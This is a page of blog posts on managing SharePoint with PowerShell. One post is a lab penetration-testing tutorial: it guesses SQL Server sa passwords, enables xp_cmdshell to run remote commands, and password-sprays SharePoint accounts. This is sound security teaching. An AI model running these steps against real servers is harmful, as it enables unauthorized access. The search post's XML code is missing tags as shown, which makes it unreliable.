Search results for 'app:weblogs' matching tags 'Windows PowerShell' and 'SharePoint'

Weekend Scripter: Use PowerShell to Upload a New File Version to SharePoint

Anonymous — Sun, 28 Apr 2013 05:00:00 GMT

Summary: Microsoft PowerShell MVP, Niklas Goude, talks about using Windows PowerShell to upload a new version of a file to SharePoint.

Microsoft Scripting Guy, Ed Wilson, is here. Today Niklas Goude is our guest blogger. You can read more from Niklas in his past Hey, Scripting Guy! Blog posts.

Take it away Niklas…

In a previous post, Use PowerShell Cmdlets to Manage SharePoint Document Libraries, we talked about uploading files to a share in SharePoint 2010. Now we'll take this a step further and update a minor or a major version of an existing document.

Here’s a quick recap of the code used to upload the file:

# Add the Snapin
Add-PSSnapin Microsoft.SharePoint.PowerShell

# Retrieve specific Site
$spWeb = Get-SPWeb http://SP01

# Create instance of Folder
$spFolder = $spWeb.GetFolder("Shared Documents")

# Get the file on Disk that we want to upload
$file = Get-Item C:\Documents\MyDoc.docx

# upload the file.
$spFolder.Files.Add("Shared Documents/MyDoc.docx",$file.OpenRead(),$false)

What we’ve done so far is to upload a single document to a document library in SharePoint 2010. The file used in this example is stored on drive C:

The document contains a single line:

After we run the Windows PowerShell code, the document gets uploaded to a document library in SharePoint 2010.

We can check the versioning for the document by clicking Version History in SharePoint:

We’ll see that the version number is set to 0.1:

Now, let’s open the file that is stored on drive C and modify it:

Back in Windows PowerShell, we use SPFileCollection to pick up the document we just uploaded. In this example, we are going to filter out the document where the name is equal to MyDoc.docx by using the Where-Object cmdlet.

# Retrieve specific Site
$spWeb = Get-SPWeb http://SP01

# Create instance of Folder
$spFolder = $spWeb.GetFolder("Shared Documents")

# Retrieve a Specific File.
$spFile = $spFolder.Files | Where-Object { $_.Name -eq "MyDoc.docx" }

We pick up the file because we want to use some of its properties for the new version that we want to upload. When we upload a new version of the document, we still use the Add method that is provided by the Microsoft.SharePoint.SPFileCollection, but with a different overload definition. Here’s the definition on MSDN: SPFileCollection.Add method (String, Stream, SPUser, SPUser, DateTime, DateTime).

The parameters we want to use are: urlOfFile, File, CreatedBy, ModifiedBy, TimeCreated, and TimeLastModified.

We can get the following values from the existing document in SharePoint 2010: UrlOfFile, CreatedBy, ModifiedBy, and TimeCreated. We can get File by using Get-Item, and we can get TimeLastModified by simply using Get-Date.

First, let’s get the modified MyDoc.docx from drive C:

$file = Get-Item C:\Documents\MyDoc.docx

Next we run the method:

$newVersion = $spFolder.Files.Add($spFile.Name, $file.OpenRead(), $spFile.Author, $spFile.ModifiedBy, $spFile.TimeCreated, (Get-Date))

If we open the SharePoint document library again, we’ll see that we have a new minor version of our document, .02.

And finally, if we want to add the modified document as a major version, we use the Publish method:

$newVersion.Publish("")

Now we have a new major version, 1.0, instead.

~Niklas

Thank you, Niklas, for taking your time to share your knowledge.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

Weekend Scripter: The Greatest SharePoint 2010 Cmdlet

Anonymous — Sat, 10 Nov 2012 06:00:00 GMT

Summary: Guest blogger Microsoft PFE Chris Weaver talks about the greatest SharePoint 2010 Windows PowerShell cmdlet.

Microsoft Scripting Guy, Ed Wilson, is here. This weekend is going to be a guest blogger weekend. Today we have back with us Microsoft PFE Chris Weaver. Read more about Chris and his previous guest blog posts here. Take it away, Chris ...

I was trying to think of the greatest cmdlet I have used within the SharePoint 2010 arsenal, and the first thing that came to mind was Merge-SPLogFile. Now, this might just be because of working in support, but I find this cmdlet saves me and my customer at least an hour of work every time ULS logs are required to help troubleshoot an issue—just think if you have seven or more SharePoint servers in your farm and you need to go manually collect all the log files for a particular time, copy them over the network, etc.

For those of you who are new to SharePoint, or don't really use it often, the ULS logs are files located locally on each server and almost everything that happens in SharePoint could get logged there depending on the Verbosity set in diagnostic logging. To further understand the diagnostic logging settings, see this blog.

This great little command can do some very heavy lifting—it will gather the ULS logs from each server in your farm and compile it into one file for you, or you can save it to an object and manipulate that object as you wish. But you don't have to believe me—let's just play with it a bit.

So, let’s open up the SharePoint 2010 Management Shell (Windows PowerShell that comes with SharePoint and has the PSSnapin already loaded through the profile), and I recommend right-clicking it, and then selecting Run as Administrator. Type the follow command:

Get-Help Merge-SPLogFile

As you can see, there are several different parameters we can use when we want to run this command, the first command to look at is using only the parameter -Path.

Merge-SPLogFile -Path C:\Logs\Uls.log

This command will go to every SharePoint server in your farm, and by using a timer job will gather one hour of ULS events, and then write them to the text file defined by the -Path parameter. This honestly is the most common way that I use this command. I will have my customer reproduce the issue, and then run the command to gather ULS logs from all servers.

The second most common combination of parameters for the command is using two different parameters: -StartTime and -EndTime.

Merge-SPLogFile -Path C:\Logs\Uls.log -StartTime "10/26/2012 01:00" -EndTime "10/26/2012 05:00"

This command gathers the ULS logs from all the SharePoint servers between the Start Time and End Time. These times are represented by MM/DD/YYYY for the date, and HH:MM on a 24-hour clock for the time. These times are also culture-specific to the version of the operating system.

The last combination I like to use is using a new feature in the ULS logs and that's called the correlation ID, which is represented by the parameter -Correlation.

Merge-SPLogFile -Path C:\Logs\Uls.log -Correlation e6f433ae-4a18-4a68-8874-bb2e1bfac95e

This command gathers all events in the last hour with the Correlation ID e6f433ae-4a18-4a68-8874-bb2e1bfac95e for the last hour. Just in case you were wondering, the Correlation ID is a GUID that is attached to all requests for the SharePoint servers. This way you can trace an error to its originating request.

Just to revisit: Merge-SPLogFile has several parameters that I have given a few examples of, and, if you wanted to, you could use all of those parameters together to gather events from all SharePoint servers from some Start Time to and End Time with a specific Correlation ID and have it written to a single file.

If you ask me, this cmdlet rocks.

Thank you, Chris, for sharing your time and knowledge. Join me tomorrow when Chris Wu shares his knowledge.

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Security Test SQL Server and SharePoint

Anonymous — Tue, 03 Jul 2012 05:00:00 GMT

Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to perform brute force security testing on SQL Server and SharePoint.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have Niklas Goude back with Part 2 of his Security Week series.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

Note Today’s blog discusses using Windows PowerShell to perform brute force penetration testing. Windows PowerShell does not, by itself, provide anything uniquely specific to this task. Scripts could be written in any number of languages with varying degrees of difficulty. Remember that Windows PowerShell does not permit a user to do anything that the user does not have rights to do. The entire point of today’s blog is that if the systems are configured properly, the attacks will fail. Keep in mind that an easy denial-of-service attack can occur if you set restrictive account policies. To aid you in navigating various policies, review Account Policies in the Windows Server Technical Library.

This is the second blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 2: Brute force

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

Penetrating systems is usually achieved by a brute force attack or by exploiting a weakness or misconfiguration in a service. The goal is to acquire permissions to a system. An attacker that does not succeed in a brute force attack could also perform a DOS attack to damage the system.

In this scenario, we will focus on how to brute force SQL Server and web servers by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

DC01: domain controller
SRV01: SQL Server and IIS
SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.

Configuration

The server running SQL Server, SRV01, is running a non-Microsoft application that is dependent on SQL Server authentication. During the installation, the SQL Server database engine was set to SQL Server and Windows authentication mode. The sa account is enabled and in use by the non-Microsoft application. For configuration recommendations, see Security Considerations for a SQL Server Installation on MSDN.

The server running SharePoint 2010, SP01, is installed by using the default settings (Next, Next, Next). The authentication method that is implemented is NTLM. For more information, see:

Code

Let us start with a classic: SQL Servers using SQL Server authentication (mixed mode). We recommend to always use Windows authentication with SQL Server when possible. But in some cases, such as when using non-Microsoft applications that depend on SQL Server authentication, mixed mode is a necessity.

For an attacker, this is particularly interesting because enabling mixed mode also creates the sa account, the built-in SQL server administrator account, during setup. If mixed mode is enabled after SQL Server has been installed, you must actively enable the sa account.

Because the sa account is a well-known account, it’s a typical target for an attacker. SQL Server 2008, SQL Server 2008 R2, and SQL Server 2012 apply the domain password policy by default on any SQL account and enforce complex passwords. However, some servers running older versions of SQL Server do not.

Testing the password of the sa account by using Windows PowerShell is a simple task. The passwords we want to test are “sa” and blank. Other easily guessed passwords are: Password, Admin, Administrator, and sysadmin.

To connect to a computer running SQL Server by using Windows PowerShell, we create an instance of System.Data.SQLClient.SQLConnection:

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection

Next, we set up a connection string by using standard security. The password used in the following example is blank.

PS > $server = "10.0.0.3"

PS > $user = "sa"

PS > $password = ""

PS > $Connection.ConnectionString =

"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"

For a good reference, see The Connection String Reference.

To test the connection, we can simply call the Open() method.

PS > $Connection.Open()

Exception calling "Open" with "0" argument(s): "Login failed for user 'sa'."

At line:1 char:1

+ $Connection.Open()

+ ~~~~~~~~~~~~~~~~~~

+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException

+ FullyQualifiedErrorId : SqlException

The command returns an error that states the logon failed for user ‘sa’. Now, let’s try setting the password to ‘sa’ instead.

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection

$server = "10.0.0.3"

$user = "sa"

$password = "sa"

$Connection.ConnectionString =

"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"

$Connection.Open()

This time the method did not return an error message, which means that we successfully guessed the sa account’s password.

We can add this piece of code to a function and automate these steps even further. The following example demonstrates how to read passwords from a password list, and then pass them to a function, Invoke-TSMedusa. Here’s the content of the password list:

PS > Import-Csv .\sqlPwd.csv

Password

--------

Admin

Password

Administrator

sysadmin

And here’s what happens if we run the function.

PS > Import-Csv .\sqlPwd.csv |

Invoke-TSMedusa -Identity 10.0.0.3 -UserName sa -Service SQL |

Select UserName, Password, Success

UserName Password Success

-------- -------- -------

sa Admin False

sa Password False

sa False

sa sa True

sa Administrator False

sa sysadmin False

Note If a password policy is used, which is recommended, the account might have been locked out, depending on the number of bad logon attempts permitted by the password policy.

So is it really that dangerous if we know the sa account password? Well, the sa account is the built-in SQL server administrator account, and it can execute stored procedures. One stored procedure of interest for an attacker is xp_cmdshell, which spawns a command shell and passes in a string for execution.

Before we go ahead and execute commands by using xp_cmdshell, we need a way of passing commands to a server running SQL Server. We can achieve this by creating an instance to System.Data.SQLClient.SQLCommand, and then passing the open connection stored in $connection to the Connection property as demonstrated here:

PS > $command = New-Object System.Data.SQLClient.SQLCommand

PS > $command.Connection = $Connection

Now, let’s grab the syslogin accounts by using a simple SQL command. First we add a SQL command to the CommandText property, and then we call the ExecuteReader() method to execute the SQL command.

Note It is interesting that the previous example is a potential security risk itself. Always use parameterized SQL. Never concatenate strings (especially user inputted strings), or you might find yourself hacked through an SQL injection.

PS > $command.CommandText = "SELECT name FROM master.SYS.syslogins"

$reader = $command.ExecuteReader()

The reader variable now contains the result from the SQL command. We can use a while loop to display the results as shown here:

PS > while ($reader.Read()) {

New-Object PSObject -Property @{

Name = $reader.GetValue(0)

}

Name

----

##MS_SQLResourceSigningCertificate##

##MS_SQLReplicationSigningCertificate##

##MS_SQLAuthenticatorCertificate##

##MS_PolicySigningCertificate##

##MS_SmoExtendedSigningCertificate##

##MS_PolicyEventProcessingLogin##

##MS_PolicyTsqlExecutionLogin##

##MS_AgentSigningCertificate##

NT AUTHORITY\SYSTEM

NT SERVICE\MSSQLSERVER

HACME\administrator

HACME\sql-admin

NT SERVICE\SQLSERVERAGENT

hacme

foo

Notice how the command displays both SQL accounts and domain accounts. All this is possible because of a misconfigured sa account.

Back to business…

Let’s execute some Windows PowerShell using SQL and the sa account. In this example, we will use the Get-TSSQL function, which basically uses the code described earler. The xp_cmdshell stored procedure is disabled by default, but because we now own the sa account, we can enable it as shown here:

PS > $connectionString = "server=10.0.0.3;database=master;User Id=sa;Password=sa;"

PS > $query = "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

PS > $query = "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

Now we can execute Windows PowerShell remotely through the server running SQL Server. Here is an example that starts Windows PowerShell and runs the internal command whoami.

PS > $cmd = 'powershell.exe -Command "& { whoami }"'

PS > $query = "EXEC xp_cmdshell '$cmd'"

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

output

------

hacme\sql-serviceaccount

Notice how whoami displays hacme\sql-serviceaccount. In other words, we can now execute commands as a domain account (the account that is configured to start the SQL Server service). It is also possible to grab all of the local and domain accounts available in the domain by using a wmi class. This is shown in the command that follows.

PS > $cmd = 'powershell.exe -Command "& { gwmi Win32_UserAccount | select Caption }"'

$query = "EXEC xp_cmdshell '$cmd'"

Get-TSSQL -Query $query -ConnectionString $connectionString

output

------

Caption

-------

SRV01\Administrator

SRV01\Guest

HACME\Administrator

HACME\Guest

HACME\User001

HACME\User002

The previous example returns a list of all available domain accounts.

Now let us take a look at how we can use the domain accounts acquired from the previous example to attack a web server.

In this scenario, we will try to brute force a default configuration (one setup by someone who simply clicked Next, Next, Next …) in SharePoint Server by using Windows PowerShell.

If we use Internet Explorer and browse to the SharePoint Server, we get a Windows logon screen that asks us for a user name and password. We could try typing each user name and guess for a password manually, but that is time consuming. Windows PowerShell is all about automating the Windows environment, so let’s use it.

First, we create an instance of Net.WebClient.

PS > $webClient = New-Object Net.WebClient

Next, we store the URL (the root site in SharePoint defaults to http://servername/SitePages/Home.aspx). We also specify the user name and the password that we want to test in variables.

PS > $userName = "hacme\user001"

PS > $password = "Password1"

PS > $url = "http://sp01/SitePages/Home.aspx"

Now, we convert the password to a secure string and create a PSCredential object to hold the user name and the password:

PS > $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force

$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword

Finally, we add the credential object to the WebClient Credential property and attempt to download the web page by using the DownloadString() method as shown here.

PS > $webClient.Credentials = $credential

PS > $webClient.DownloadString($url)

Exception calling "DownloadString" with "1" argument(s): "The remote server retur

ned an error: (401) Unauthorized."

At line:2 char:1

+ $webClient.DownloadString($url)

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException

+ FullyQualifiedErrorId : WebException

Because we used the wrong password, an error message is returned that tells us we are unauthorized. In other words, we guessed the wrong password.

We have a complete list of all the user accounts in the domain, so we can automate these steps and perform the same test on each domain account. We don’t want to perform multiple tests on the same account because it might lock out the account, so we’ll pick a commonly used password and hope for the best. In this example, we’ll use Password1. In the following example, the accounts retrieved from xp_cmdshell are stored in a .csv file. The .csv file is used as input to the Invoke-TSMedusa function.

PS > Import-Csv .\slqdump.csv |

Invoke-TSMedusa -Identity "http://sp01/SitePages/Home.aspx" -Password Password1 -Service Web | Select UserName, Password, Success

UserName Password Success

-------- -------- -------

user001 Password1 False

user002 Password1 False

user003 Password1 False

user004 Password1 False

user005 Password1 False

user006 Password1 False

user007 Password1 False

user008 Password1 True

The output from the function tells us that user008 has the password Password1. With a domain account, we can dig even deeper into the domain.

Downloads

The Invoke-TSMedusa function can be found in the Script Center Repository.
An extra script that was not specifically mentioned in today’s blog, Get-TSSqlSysLogin.ps1 is also available in the Script Center Repository.
Additional functions and code related to security are available on the TruSec Tools site.

~Niklas

I want to thank Niklas for another great blog. Security Week will continue tomorrow with another blog by Niklas.

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Inventory and Update SharePoint Environments

Anonymous — Thu, 15 Dec 2011 06:00:00 GMT

Summary: Learn how to use Windows PowerShell to inventory objects in your SharePoint environment and to script updates.

Microsoft Scripting Guy, Ed Wilson, is here. Raymond Mitchell is our guest blogger today. Here is a little bit about Raymond.

Raymond has worked in IT since 1999, and he has worked with every version of SharePoint since its release as SharePoint Team Services. He has spent the last eight years consulting on all things SharePoint. He helped start the Minnesota SharePoint User Group, and he coordinated it for seven years. He has spoken at a number of other user groups and SharePoint Saturday events. Raymond wrote a Wrox Blox about the Data View Web Part and contributed two chapters on the BCS to SharePoint 2010 Six-in-One. He also blogs under the alias IWKID about information worker technologies, including SharePoint and Office. He currently works as a SharePoint consultant at SharePoint911.

As a SharePoint administrator, it is only a matter of time until someone asks, “How many sites do we have? How many lists? How many of these web parts?” There are lots of variations of these questions, but essentially someone is asking you to inventory objects in your SharePoint environment. If you’ve had any experience with database-backed applications, you might be tempted to run to the SharePoint content databases and start running queries, but those databases are strictly off-limits in SharePoint. Luckily we have Windows PowerShell to help us out!

Before we jump into scenarios, let’s make a few assumptions:

We’re running Windows PowerShell scripts on the SharePoint Server
We’re running SharePoint 2010 and leveraging the SharePoint Management Shell

It is not that our scenario requires these assumptions, but for brevity, we are keeping things simple.

Finding SharePoint sites

To get started, let us take a look at the first question: “How many sites do we have?” Unfortunately this question is not as straightforward as it sounds. The following table shows that in SharePoint, there are three separate objects that could easily be confused with “sites.”

Object	Relationship	Object Model Class
Web Application	Can span multiple IIS sites	SPWebApplication
Site Collection	Web Applications can contain multiple site collections	SPSite
Web	Each site collection typically contains multiple webs (a RootWeb and its sub webs)	SPWeb

In this example, we will assume that they are asking about how many webs, so we will first get the Web Application object, and then count the webs for each site collection. The following image illustrates how to accomplish this task. (This code has been uploaded to the Script Center Repository.)

Because we are using SharePoint 2010 and the 2010 Management Shell (which is preloaded with the Microsoft.SharePoint.PowerShell snap-in), we can leverage cmdlets like Get-SPWebApplication which makes life considerably easier.

Inventorying SharePoint lists

Next, let us take a look at how many lists we have. Again this question might not be as straightforward as it sounds. In SharePoint, there are two main content containers that could be included in this inventory: Lists and Libraries.

Object	Description	Object Model Class
List	Contains list data	SPList
Library	Contains documents	SPDocumentLibrary

By checking a list’s BaseType property, we can filter out any Document Libraries and return only the count of lists (we could also filter on the BaseTemplate to filter on specific List types such as Announcements or Tasks). Because we are dealing with more objects, in this example we are going to work with a single site collection to reduce our performance impact on the server. The following image illustrates this technique.

Of course, it would be better to see where the lists exist. To do this requires a bit more work as shown in the following image. (This code can be found in the Script Center Repository.)

Finding specific web parts

Great! Now we know where our lists are! In our final scenario, we will take a look at finding specific web parts in a site. In this example, we will keep things simple and assume that the web parts are stored on the homepage of a site (known as the WelcomePage). We will limit our inventory to a single site collection, and we will look for Content Editor Web Parts. This technique is shown in the following image.

Again, just knowing how many items is not usually the end of the story. In this case, let us suppose that we want to remove all of the Content Editor Web Parts from the site. We will need to update the script to first inventory the web parts (the important things are their web pages and IDs), and then we’ll go back and delete them one at a time (because we can’t update the collection as we’re looping through).

Another interesting hiccup occurs when we try to open the website that contains the page. The Get-SPWeb and Get-SPSite cmdlets are not as forgiving as the constructors for these classes, so if we pass in a URL for a page within the site, it will not return the object for us. Instead, I’m using New-Object to create an SPSite object, rather than the cmdlet (by the way, this is how you had to do it when you were working with SharePoint prior to the Management Shell). Here is the code for removing the web parts. (This code can be found in the Script Center Repository also.)

In summary, we have explored how to inventory webs, lists, and web parts in our SharePoint site. We have also shown how you can work with classes from the SharePoint Object Model to extend your inventory scripts to make updates across your environment.

The value of Windows PowerShell to SharePoint administrators extends far beyond the cmdlets that ship with SharePoint 2010 and options like Backup and Restore. Windows PowerShell gives administrators the ability to rapidly inventory and update their environments.

~Raymond

Thank you, Raymond, for a great Windows PowerShell and SharePoint blog post. Join us tomorrow for more cool Windows PowerShell stuff.

Ed Wilson, Microsoft Scripting Guy

Use SharePoint Web Services and PowerShell to Work with Search

Anonymous — Thu, 01 Dec 2011 06:00:00 GMT

Summary: Learn how to use the web services in SharePoint with Windows PowerShell to query for search results.

Microsoft Scripting Guy, Ed Wilson, is here. Today our Guest Blogger Week continues with an excellent post about using Windows PowerShell cmdlets with SharePoint. The post is written by a return guest, Josh Gavant. For those of you who might not recall from his previous posts, here is a little bit about Josh:

Josh is a premier field engineer (PFE) with Microsoft Services, and he specializes in SharePoint and Windows PowerShell. When he is not playing with computers, he enjoys music and running with his wonderful wife in beautiful Chicago.

Contact information:
Blog: Beside the Point
Twitter: @joshugav

Note: The script for today’s blog is posted in the Scripting Guys Script Repository.

Take it away Josh!

Many SharePoint services can be accessed directly by using web services calls. An advantage of utilizing web services instead of the SharePoint object model is that service calls work neatly and predictably from clients, with no need for any additional DLLs or installations. Customers who are building custom applications on top of SharePoint often take advantage of the web services in SharePoint to layer custom interfaces and services on top of SharePoint. We can also take advantage of these services via Windows PowerShell as an aid in testing and as a component of proper scripts.

To access the web services in SharePoint, we will utilize the New-WebServiceProxy cmdlet in Windows PowerShell, which automatically retrieves the Web Service Description Language (WSDL) document for a web service and dynamically builds a proxy that is able to connect to that service. Like other object frameworks (such as COM, .NET, and WMI), Windows PowerShell does us the favor of abstracting the differences between different types of objects. It then surfaces a web service in the same manner as other Windows PowerShell objects, with members like any other Windows PowerShell member.

Of the several SharePoint front-end web services that are available, we will focus on retrieving search results through QueryService. First, we’ll complete the simple task of building a proxy object. Then we’ll build up the necessary elements to send off a query through our proxy. Finally, we’ll wrap things up in a function to make life easier.

The only trick to remember when calling a SharePoint web service is that you need to authenticate yourself. So use the following paradigm to create a web service proxy for the Search service (substitute your value for $WebApplicationPath):

$WebApplicationPath = “<Path_To_WebApplication>”

$SearchPath = “/_vti_bin/Search.asmx”

$SearchWS = New-WebServiceProxy -Uri ($WebApplicationPath + $SearchPath) -UseDefaultCredential

Part of the purpose of creating the proxy in Windows PowerShell is to explore the interfaces that it offers. In the spirit of exploration, run the following commands:

$SearchWS | Get-Member

$SearchWS.Query

Note that the second command returns a MethodInfo object with information about the method to be called. Two methods of interest are returned by Get-Member from the Search service proxy: Query and QueryEx. Both take an XML document describing the query, but they differ in the results they return. Query returns results in XML form, and QueryEx returns results as an ADO.NET dataset. Both can be treated as first class objects in Windows PowerShell, but I like using ADO.NET better in Windows PowerShell, so we will use QueryEx.

Now we must build our QueryXML. When we have completed building our Query XML, we will call the QueryEx method. You can find the Microsoft.Search.Query schema on MSDN. We will use this form, relying on defaults for some excluded nodes as shown here:

$KeywordQuery = “Test SharePoint”

$Count = 10

$QueryXml = @"

<Query>

<QueryText type="STRING">$KeywordQuery</QueryText>

</Context>

<Range>

<Count>$Count</Count>

</Range>

<IncludeSpecialTermResults>false</IncludeSpecialTermResults>

<PreQuerySuggestions>false</PreQuerySuggestions>

<HighlightQuerySuggestions>false</HighlightQuerySuggestions>

<IncludeHighConfidenceResults>false</IncludeHighConfidenceResults>

</Query>

</QueryPacket>

Note the use of an expandable here-string. This gives me the best of both worlds—between the opening and closing lines, I need not worry about quotation marks, and yet I can use variables to specify values in the text. Originally, I wrote this script by using [xml] objects, but then I decided that using a string of XML would be easier.

In this case, I declared values for $KeywordQuery and $Count right before setting $QueryXml. When I wrap this into a function, $KeywordQuery and $Count will be the function’s parameters.

With my setup work out of the way, I’m ready to call the proxy’s method with my XML. The return from this method is an ADO.NET dataset, which is a collection of data tables. I have written the Query XML in such a way that there is only one table (RelevantResults) in this dataset; if it is written in other ways, there could be two or three tables. To be on the safe side, I retrieve the RelevantResults table from the set. Windows PowerShell will automatically enumerate through each data row in the data table and create an object that is based on the values of columns in the row. Here are the relevant commands:

$Results = $SearchWS.QueryEx( $QueryXml )

$Results.Tables[“RelevantResults”]

The default output contains a number of properties, some of which may not be relevant to you. A nice set of properties to start with is returned by the following command:

$Results.Tables[“RelevantResults”] | Format-Table Title, Author, ContentClass, Path

If you wanted to retrieve different properties from the search engine, you could modify the XML to specify any managed property in SharePoint Search (use Get-SPEnterpriseSearchMetadataManagedProperty to get a list). I will leave that as an exercise for you.

We have now presented all the steps to query SharePoint search via Windows PowerShell. Let us wrap it into a nice, easy-to-use function. The complete function is shown here. (I have also uploaded it to the Scripting Guys Script Repository for ease of copying.)

function Query-SPSearch {

param(

[Parameter(Mandatory=$true)]

[String]

$WebApplicationPath,

[Parameter(Mandatory=$true)]

[String]

$KeywordQuery,

[Parameter()]

[Int32]

$Count = 10

)

$QueryXml = @"

<Query>

<QueryText type="STRING">$KeywordQuery</QueryText>

</Context>

<Range>

<Count>$Count</Count>

</Range>

<IncludeSpecialTermResults>false</IncludeSpecialTermResults>

<PreQuerySuggestions>false</PreQuerySuggestions>

<HighlightQuerySuggestions>false</HighlightQuerySuggestions>

<IncludeHighConfidenceResults>false</IncludeHighConfidenceResults>

</Query>

</QueryPacket>

$ServicePath = "/_vti_bin/search.asmx"

$SearchWS = New-WebServiceProxy -Uri ($WebApplicationPath + $ServicePath) -UseDefaultCredential

$Results = $SearchWS.QueryEx( $QueryXml )

# we excluded all other result sets, but just in case get the one we want:

$Results.Tables["RelevantResults"]

}

Typical usage for this function would be as follows:

Query-SPSearch -WebApplicationPath “http://sharepoint10” -KeywordQuery “SharePoint test” -Count 20 | Format-Table Title, Author, Path

I hope this helps you get started down the road to discovering and utilizing the web services in SharePoint. Be sure to check out my SharePoint and Windows PowerShell posts on my Beside the Point blog on MSDN. Thanks!

~Josh

Thanks, Josh, for sharing your time and knowledge. I had heard about the web services in SharePoint, but I have never played around with them, and I have since completely forgotten about them. This gives me something with which to experiment. Sweet! Join me tomorrow for a great guest post by Jan Egil Ring about working with Microsoft Exchange Web Services—seems to be more than one theme at work here. See you!

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Edit SharePoint Profiles

Anonymous — Sat, 12 Nov 2011 06:00:00 GMT

Summary: Microsoft Premier Field Engineer Chris Weaver shows how to use Windows PowerShell to edit SharePoint profiles.

Microsoft Scripting Guy Ed Wilson here. It is Guest Blogger Weekend. To start the weekend, we have Chris Weaver. The Scripting Wife and I recently met Chris in real life (IRL) at Geek Ready, a conference at which I was speaking. What can I say? Chris is cool! Here is his biography.

I have been working at Microsoft since late 2008. During that time I have been an engineer within CSS, a SharePoint 2010 TAP, and most recently a dedicated premier field engineer working with several of our Premier customers to support their SharePoint infrastructure. I have been using Windows PowerShell for the last two years to simplify the administration and troubleshooting of SharePoint for my customers. I very recently started my own blog, which will look at issues with SharePoint and its supporting infrastructure.

I enjoy camping with my family and kite surfing in my spare time (yeah, right, who has any of that?).

Note The script for today’s blog article appears on the Scripting Guys Script Repository.

I am working with a customer to automate the installation and configuration of SharePoint Server 2010 using Windows PowerShell.

I would like to show you one of the functions that we are using to configure profiles after we have completed an import. The customer is highly regulated and has users that cannot communicate in any form with other users, so when it was discovered that profiles by default would send email for several different reasons, we had to reverse it.

We will be editing the profile property called SPS-MailOptIn. In the GUI, it is represented by three check boxes. First, you want to load the following assembly so that we can work with the profiles:

Add-Type -Path "c:\program files\common files\microsoft shared\web server extensions\14\isapi\microsoft.office.server.dll"

And don’t forget to ensure that the SharePoint snap-in is loaded because we will want to use commands from it. You can use the following lines to verify or load that info. This snap-in is installed on all SharePoint installations and automatically loaded, if using the SharePoint 2010 Management Shell:

$PSSnapIn = Get-PSSnapin | where {$_.Name -like "*sharepoint*"}

if(!($PSSnapIn.Name -like "*sharepoint*"))

{

Add-PSSnapin Microsoft.SharePoint.PowerShell

}

Then we need to load the UserProfileManager, and I do so with the following code. To be able to manage this, the account running the script will need to be a User Profile Service Application Administrator with at least Manage Profile permissions:

$Site = Get-SPSite -Limit 1 #Get Site for Service context

$ServiceContext = Get-SPServiceContext($Site)

$ProfileManager = new-object Microsoft.Office.Server.UserProfiles.UserProfileManager($ServiceContext)

$Profiles = $ProfileManager.GetEnumerator() #Load all profiles into array

Using Get-SPSite has two advantages. The first advantage is that I do not have to worry about disposing of the object because Windows PowerShell will do that for me. The second advantage is that by using the switch -Limit set to 1, I get one site to connect to and don’t have to worry about personalizing it to the farm before running the script.

Then I throw everything into a For loop, iterate through all the profiles, and get the property using the following:

$OriginalValue = $Profile["SPS-EmailOptin"].Value

After I get the value, I save it to a text file to ensure that I have it in the future, if needed. Then, as I had mentioned, only some users are regulated, so we compare the profiles name to a list of regulated users, and if not in the list, we proceed to change the value with the following line:

$Profile["SPS-EmailOptin"].Value = $EmailOptInValue

The variable $EmailOptInValue represents three integers. Each number can be 0 or 1. 0 means the box is checked, and 1 means it is not. As an example, the variable could be loaded with the 101 or 010:

The first digit is for “Notify me when someone leaves a note on my profile.”
The second digit is for “Notify me when someone adds me as a colleague.”
The third digit is for “Send me suggestions for new colleagues and keywords.”

Finally, I commit the change, which I have wrapped in an If statement. This allows me to have whatif functionality, which was important for my customer:

if(!($Whatif))

{

$Profile.Commit()

}

I hope this function helps you to improve your SharePoint environment through the use of Windows PowerShell.

Thanks, Chris, for writing this blog and sharing your script with us.

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Back Up Your SharePoint Farm

Anonymous — Wed, 22 Jun 2011 05:00:00 GMT

Summary: Learn how to use Windows PowerShell to back up your SharePoint farm.

